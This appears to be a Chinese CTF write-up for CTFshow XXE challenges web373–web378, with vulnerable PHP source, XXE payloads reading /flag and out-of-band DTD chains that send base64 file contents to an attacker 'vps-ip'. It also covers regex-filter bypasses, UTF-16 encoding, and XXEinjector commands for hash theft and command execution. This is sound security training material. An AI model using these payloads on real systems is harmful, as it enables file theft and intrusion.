当前位置: 首页 > news >正文

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

CTFshow XXE web373

学习资料: (梭哈~)

https://www.cnblogs.com/20175211lyz/p/11413335.html

https://www.cnblogs.com/zhaijiahui/p/9147595.html

https://www.cnblogs.com/r00tuser/p/7255939.html

https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==&mid=2247489349&idx=1&sn=ab435be65bc6c35a21ea4bd040693d8c&source=41#wechat_redirect

https://security.tencent.com/index.php/blog/msg/69

https://xz.aliyun.com/t/6754

https://xz.aliyun.com/t/3357#toc-8

https://www.freebuf.com/vuls/194112.html

https://www.freebuf.com/column/181064.html

https://blog.csdn.net/weixin_49656607/article/details/119921234

XXEinjector:一款功能强大的自动化XXE注射工具 - FreeBuf网络安全行业门户

考点:有回显XXE,外部实体。

直接给了源码

image-20230802164727344

<?php
error_reporting(0);
//不禁止外部实体载入
libxml_disable_entity_loader(false);
//拿POST原始数据,赋值给xmlfile
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){//生成一个Document$dom = new DOMDocument();// 调用loadXML方法,读取原始的XML数据($xmlfile)。加载xml实体,参数为替代实体、加载外部子集//LIBXML_NOENT 是替代实体$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);// 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。$creds = simplexml_import_dom($dom);// 通过箭头表达式引用。$ctfshow = $creds->ctfshow;echo $ctfshow;
}
highlight_file(__FILE__);  

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!-- 定义hacker变量 -->
<!-- 外部实体的声明使用SYSTEM关键字,并且必须指定应从中加载实体值的URL。注入实体,值为根目录下flag文件内容 -->
<!DOCTYPE hacker[<!ENTITY hacker SYSTEM "file:///flag">
]> 
<!-- -->
<root>
<!-- PHP中$ctfshow = $creds->ctfshow; --><ctfshow>
<!-- 读取hacker变量 -->&hacker;</ctfshow>
</root>

只能在bp里面发这个POST数据。hackbar发POST如果不是键值对形式,POST数据不会发送。

这个payload只限于猜文件名或者知道文件名。

image-20230804225438215



XXEinjector使用教程:

https://www.freebuf.com/column/170971.html

https://www.cnblogs.com/bmjoker/p/9614990.html

安装XXEinjector方式(Kali):

Kali 安装 Ruby环境 和 XXE神器XXEinjector 教程_Jay 17的博客-CSDN博客

1、sudo su  进入root权限
2、apt install ruby    安装ruby环境
3、ruby  -v    查看ruby是否安装成功以及安装版本
4、git clone https://github.com/enjoiz/XXEinjector/  
从GitHub下载XXEinjector
5、XXEinjector文件夹下开终端
6、ruby XXEinjector.rb   检查是否安装成功

基本使用方式:

枚举HTTPS应用程序中的/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚举/etc目录:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:

ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP带外方法和netdoc协议对文件进行爆破攻击:

ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通过直接性漏洞利用方式进行资源枚举:

ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚举未过滤的端口:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

窃取Windows哈希:

ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上传文件:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect执行系统指令:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

测试XSLT注入:

ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

记录请求信息:

ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

CTFshow XXE web374

考点:无回显XXE,外部实体。

直接给了源码。

image-20230803173920636

比上题少了几行代码,分别是
$creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow;

导致了这题可以注入实体但是没有回显,所以我们考虑数据外带。访问一个请求,把数据加到请求上。

payload:

<?xml version="1.0" encoding="UTF-8"?><!-- 要引用(dtd里面),所以要加百分号% -->
<!-- /flag 改成 /etc/passwd 可能会失败,因为内容太多了 -->
<!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">%myurl;
]> 
<!-- 不能直接<!ENTITY  % myurl SYSTEM "http://vps-ip:port/%file"> ,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制-->
<!-- %myurl;会读取远程dtd文件,读到了以后,因为远程dtd文件有一个实体的定义(% dtd),那么就会解析这个实体定义。(% dtd)实体的定义内容是另外一个实体定义(&#x25; vps),那就会解析(&#x25; vps),就会执行远程请求,请求地址(http://vps-ip:port/%file),会在我们的vps日志上留下痕迹。
也可以起nc监听端口,能判断是否有向我们的vps发送请求以及请求内容。起nc的话% myurl的值,不要加端口,就vps-ip够了。
总结就是,%myurl 这种引用会自动向地址发送请求。 --><root>
1
</root>

test.dtd(放vps上面)内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://vps-ip:port/%file;'> ">
<!-- &#x25; 就是百分号(&#x25; vps=% vps),因为是嵌套在里面的引用,不能直接写百分号 -->
<!-- 如果选择nc监听的话,端口一定要加!!! -->
<!-- 如果选择看日志的话,端口一定不能加!!! --><!-- 引用(执行)dtd实体,vps被注册 -->
%dtd;
<!-- 引用(执行)vps实体,接收%file变量的内容 -->
%vps;

image-20230803201230397

image-20230805123514521

这里Content-Type是不是application/xml没有关系。


自动化脚本:

import requestsurl = ''
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://vps-ip/text.dtd">
%aaa;
]>
<root>123</root>"""
payload = payload.encode('utf-8')
requests.post(url ,data=payload)

同时我看网上也有师傅接受请求用的是vps上文件,就是先发送到vps上的dtd文件,dtd文件再转发到vps上一个php文件,php文件接受请求后写入一个txt文件。

想了一下,这个的原理其实和监听端口是一样的,都是XXE注入,通过请求自己vps带出数据,区别就在于带出的数据vps如何反馈给我们。


CTFshow XXE web375

考点:无回显XXE,外部实体,绕过过滤。

直接给了源码。

image-20230805130215770

相较于上题,多了一个正则表达式,过滤了<?xml version="1.0"这个字符串


绕过方法一:

web374的payload直接不写XML头(XML声明)。

<!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">%myurl;
]> <root>
1
</root>

image-20230805133401477

这里Content-Type是不是application/xml还是没有关系。


绕过方法二:

空格绕过,我多打一个空格在?xmlversion之间就好了。题目过滤的字符串,两个之间只有一个空格,我多打一个就变成了两个,不影响功能同时也绕过了过滤。

<?xml  version="1.0" encoding="UTF-8"?><!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">%myurl;
]> <root>
1
</root>

image-20230805133512406

这里Content-Type是不是application/xml还是没有关系。


绕过方法三:

单引号绕过,代替双引号。过滤的是<?xml version="1.0",关我<?xml version='1.0'。 [狗头]

<?xml version='1.0' encoding="UTF-8"?><!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">%myurl;
]> <root>
1
</root>

image-20230805134116523

CTFshow XXE web376

考点:无回显XXE,外部实体,绕过过滤。

直接给了源码。

image-20230805134715526

相较于上题,过滤了<?xml version="1.0"这个字符串同时,/i模式把大小写都过滤了。过滤大小写没什么用,没有啥绕过方式是大小写绕过的。


绕过方法一:

web374的payload直接不写XML头(XML声明)。

<!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">%myurl;
]> <root>
1
</root>

image-20230805133401477

这里Content-Type是不是application/xml还是没有关系。


绕过方法二:

空格绕过,我多打一个空格在?xmlversion之间就好了。题目过滤的字符串,两个之间只有一个空格,我多打一个就变成了两个,不影响功能同时也绕过了过滤。

<?xml  version="1.0" encoding="UTF-8"?><!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">%myurl;
]> <root>
1
</root>

image-20230805133512406

这里Content-Type是不是application/xml还是没有关系。


绕过方法三:

单引号绕过,代替双引号。过滤的是<?xml version="1.0",关我<?xml version='1.0'。 [狗头]

<?xml version='1.0' encoding="UTF-8"?><!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">%myurl;
]> <root>
1
</root>

image-20230805134116523

CTFshow XXE web377

考点:无回显XXE,外部实体,绕过过滤。

直接给了源码。

image-20230805141435297

比之前几题多过滤了一个http。能绕,开绕!


绕过方法:

编码绕过,用脚本把web374的payload转为utf-16编码。

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。

import requestsurl = 'http://a83196d0-7399-4a44-9601-23509c34a124.challenge.ctf.show/'#注意这里是单引号,为了绕过过滤
payload = """<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % myurl SYSTEM "http://vps-ip/test.dtd">%myurl;
]> <root>
1
</root>
"""
payload = payload.encode('utf-16')
print(requests.post(url ,data=payload).text)

image-20230805143831078

CTFshow XXE web378

题目描述:python X

考点:无回显XXE,外部实体,绕过过滤。

开题是一个登录框

image-20230805144114260

F12直接能看见源码,一眼XXE。

image-20230805144505858

随便输入抓个包,一眼XXE,节点名字都告诉我们了。

image-20230805144224087

payload:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]><user><username>&xxe;</username><password>&xxe;</password></user>

在路由/doLogin下发POST包。

burp坏了,拿python发送一个。

image-20230805145800633

相关文章:

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

CTFshow XXE web373 学习资料&#xff1a; &#xff08;梭哈~&#xff09; https://www.cnblogs.com/20175211lyz/p/11413335.html https://www.cnblogs.com/zhaijiahui/p/9147595.html https://www.cnblogs.com/r00tuser/p/7255939.html https://mp.weixin.qq.com/s?__bizMz…...

小内存嵌入式设备软件的差分升级设计(学习)

摘要 提出一种改进HDiffPatch算法并在复旦微单片机上实现小内存差分升级的方案&#xff0c;即使用单片机内的Flash空间替代算法占用的RAM空间&#xff0c;从而减少算法对单片机RAM空间的需求&#xff0c;以满足小内存微处理器的差分升级&#xff0c;同时对算法内存分配释放函数…...

小程序具体开发

window 导航栏 属性名类型默认值作用navigationBarTitleText string字字符串导航栏标题内容navigationBarBackgroundColorHexcolor#000000设置导航栏背景颜色&#xff08;比如荧黄色 #ffa&#xff09;navigationBarTextStylestringwhite设置导航栏标题的颜色&#xff08;仅含有…...

《TCP IP网络编程》第十六章

第 16 章 关于 I/O 流分离的其他内容 16.1 分离 I/O 流 「分离 I/O 流」是一种常用表达。有 I/O 工具可区分二者&#xff0c;无论采用哪种方法&#xff0c;都可以认为是分离了 I/O 流。 2次 I/O 流分离&#xff1a; 第一种是第 10 章的「TCP I/O 过程」分离。通 shutdown(soc…...

HTML5 基础标签

目录 前言 标题标签 段落标签 换行标签和水平线标签 文本格式化标签 图像标签 超链接标签 多媒体标签 列表标签 无序列表 有序列表 表格 合并单元格 表单 无语义的布局标签 字符实体 前言 当今互联网时代&#xff0c;网页是我们获取信息、交流和展示自己的重要渠…...

二、Qt的安装(Linux系统下安装Qt6过程)

一、Qt资源下载网址 网址&#xff1a;点击下载http://download.qt.io/ 下载&#xff1a;点击下载(CSDN) 二、下载二进制安装包 进入Qt资源下载网址&#xff0c;进入对应的资源目录&#xff0c;找对应系统平台的二进制安装包选择进行下载&#xff0c;在这这里我们选择Linux下的二…...

Python 中被忽视的核心功能

这篇文章主要介绍了一些在 Python 编程中可能被忽视的核心功能&#xff0c;包括默认参数、海象运算符、*args 和 **kwargs 的使用、变量交换、str 与 repr 的区别、可迭代对象的扩展解包、多个上下文管理器的使用、Python 调试器、collections.Counter 的使用、itertools 的使用…...

Java+Excel+POI+testNG基于数据驱动做一个简单的接口测试【杭州多测师_王sir】

一、创建一个apicases.xlsx放入到eclipse的resource里面&#xff0c;然后refresh刷新一下 二、在pom.xml文件中加入poi和testng的mvn repository、然后在eclipse的对应目录下放入features和plugins&#xff0c;重启eclipse就可以看到testNG了 <!--poi excel解析 --><d…...

2023.8.12号论文阅读

文章目录 TriFormer: A Multi-modal Transformer Framework For Mild Cognitive Impairment Conversion Prediction摘要本文方法实验结果 SwIPE: Efficient and Robust Medical Image Segmentation with Implicit Patch Embeddings摘要本文方法实验结果 TriFormer: A Multi-mod…...

R语言中的函数24:Combinat:combn(), permn()

介绍 combinat中的combn()和permn()函数可以得到所有的排列组合的情况 combn()函数 combn(x, m, funNULL, simplifyTRUE, …)x – 组合的向量源m – 要取的元素的数量fun – 应用于每个组合的函数(可能为空)simplify – 逻辑的&#xff0c;如果是FALSE&#xff0c;返回一个列…...

C++隐式调用和explicit关键字

隐式类型转换 #include <iostream> using namespace std;class Point { public:int x, y;Point(int x 0, int y 0): x(x), y(y) {} };void displayPoint(const Point& p) {cout << "(" << p.x << "," << p.y <&l…...

Git 清除所有本地修改

Git 清除所有本地修改 1. 上才艺 1. 上才艺 git reset --hard && git clean -dfreset 返回到某个节点&#xff0c;不保留修改&#xff08;删除的是已跟踪的文件&#xff09;clean 删除的是未跟踪的文件 谢谢...

快速获得图像中像素值的小工具

之前项目中为了做lka中获得rgb图像信息&#xff0c;网上大多方案是确定相关的区域然后输出像素值&#xff0c;这个方法太麻烦&#xff0c;做了一个简单的使用鼠标点击图片某区域&#xff0c;然后直接在终端输出该区域的像素值。下面是源码&#xff1a; import cv2 import matp…...

yolo数据增强

yolo数据增强 🔥 数据集说明 😂一. labelimg 😅1. labelimg数据增强2. labelimg转换为yolo数据集二. labelme 😆1. labelme 分割数据增强2. labelme分割数据集转换yolo分割数据集三. coco 数据集格式1. coco 数据集格式数据增强 并转换至labelme 格式2. coco 数据集格式…...

环保行业如何开发废品回收微信小程序

废品回收是近年来受到越来越多人关注的环保行动。为了推动废品回收的普及和方便&#xff0c;我们可以利用微信小程序进行制作&#xff0c;方便人们随时随地参与废品回收。 首先&#xff0c;我们需要注册并登录乔拓云账号&#xff0c;并进入后台。乔拓云是一个提供微信小程序制作…...

个人对哈希数据结构学习总结 -- 理论篇

个人对哈希数据结构学习总结 -- 理论篇 引言哈希表设计思考哈希冲突Hash Functions冲突解决开放地址法(Open Addressing)分离链表法(Separate Chaining)Two-way Chaining Dynamic Hash Tableschained Hashingextendible hashinglinear hashing说明 spiral storage 使用场景小结…...

在CMamke生成的VS项目中插入程序

在主文件夹的CMakeLists.tex中加入SET(COMPILE_WITH_LSVM OFF CACHE BOOL "Compile with LSVM") 再添加IF(COMPILE_WITH_LSVM) MESSAGE("Compiling with: LSVM") ADD_DEFINITIONS(-DCOMPILE_WITH_LSVM) ADD_SUBDIRECTORY(LSVM) LIST(APPEND SRC LSVM_wrap…...

198、仿真-基于51单片机函数波形发生器调幅度频率波形Proteus仿真(程序+Proteus仿真+原理图+流程图+元器件清单+配套资料等)

毕设帮助、开题指导、技术解答(有偿)见文未 目录 一、硬件设计 二、设计功能 三、Proteus仿真图 四、原理图 五、程序源码 资料包括&#xff1a; 需要完整的资料可以点击下面的名片加下我&#xff0c;找我要资源压缩包的百度网盘下载地址及提取码。 方案选择 单片机的选…...

Django 初级指南:创建你的第一个 Django 项目

Django 是一个强大的 Python Web 框架&#xff0c;它采用了“模型-视图-控制器”&#xff08;MVC&#xff09;的设计模式&#xff0c;能够帮助开发者快速、简洁地创建高质量的 Web 应用。这篇文章将引导你创建你的第一个 Django 项目。 一、安装 Django 首先&#xff0c;你需…...

【MySQL】使用C++连接数据库

目录 前置工作代码常用函数接口整体示例&#xff1a; 前置工作 创建数据库并选中 mysql> create database conn; Query OK, 1 row affected (0.01 sec)mysql> show databases; -------------------- | Database | -------------------- | information_schema…...

idea大量爆红问题解决

问题描述 在学习和工作中&#xff0c;idea是程序员不可缺少的一个工具&#xff0c;但是突然在有些时候就会出现大量爆红的问题&#xff0c;发现无法跳转&#xff0c;无论是关机重启或者是替换root都无法解决 就是如上所展示的问题&#xff0c;但是程序依然可以启动。 问题解决…...

Appium+python自动化(十六)- ADB命令

简介 Android 调试桥(adb)是多种用途的工具&#xff0c;该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具&#xff0c;其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利&#xff0c;如安装和调试…...

工业安全零事故的智能守护者:一体化AI智能安防平台

前言&#xff1a; 通过AI视觉技术&#xff0c;为船厂提供全面的安全监控解决方案&#xff0c;涵盖交通违规检测、起重机轨道安全、非法入侵检测、盗窃防范、安全规范执行监控等多个方面&#xff0c;能够实现对应负责人反馈机制&#xff0c;并最终实现数据的统计报表。提升船厂…...

【Java学习笔记】Arrays类

Arrays 类 1. 导入包&#xff1a;import java.util.Arrays 2. 常用方法一览表 方法描述Arrays.toString()返回数组的字符串形式Arrays.sort()排序&#xff08;自然排序和定制排序&#xff09;Arrays.binarySearch()通过二分搜索法进行查找&#xff08;前提&#xff1a;数组是…...

如何在看板中体现优先级变化

在看板中有效体现优先级变化的关键措施包括&#xff1a;采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中&#xff0c;设置任务排序规则尤其重要&#xff0c;因为它让看板视觉上直观地体…...

YSYX学习记录(八)

C语言&#xff0c;练习0&#xff1a; 先创建一个文件夹&#xff0c;我用的是物理机&#xff1a; 安装build-essential 练习1&#xff1a; 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件&#xff0c;随机修改或删除一部分&#xff0c;之后…...

新能源汽车智慧充电桩管理方案:新能源充电桩散热问题及消防安全监管方案

随着新能源汽车的快速普及&#xff0c;充电桩作为核心配套设施&#xff0c;其安全性与可靠性备受关注。然而&#xff0c;在高温、高负荷运行环境下&#xff0c;充电桩的散热问题与消防安全隐患日益凸显&#xff0c;成为制约行业发展的关键瓶颈。 如何通过智慧化管理手段优化散…...

Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理

引言 Bitmap&#xff08;位图&#xff09;是Android应用内存占用的“头号杀手”。一张1080P&#xff08;1920x1080&#xff09;的图片以ARGB_8888格式加载时&#xff0c;内存占用高达8MB&#xff08;192010804字节&#xff09;。据统计&#xff0c;超过60%的应用OOM崩溃与Bitm…...

Python Einops库:深度学习中的张量操作革命

Einops&#xff08;爱因斯坦操作库&#xff09;就像给张量操作戴上了一副"语义眼镜"——让你用人类能理解的方式告诉计算机如何操作多维数组。这个基于爱因斯坦求和约定的库&#xff0c;用类似自然语言的表达式替代了晦涩的API调用&#xff0c;彻底改变了深度学习工程…...

TSN交换机正在重构工业网络,PROFINET和EtherCAT会被取代吗?

在工业自动化持续演进的今天&#xff0c;通信网络的角色正变得愈发关键。 2025年6月6日&#xff0c;为期三天的华南国际工业博览会在深圳国际会展中心&#xff08;宝安&#xff09;圆满落幕。作为国内工业通信领域的技术型企业&#xff0c;光路科技&#xff08;Fiberroad&…...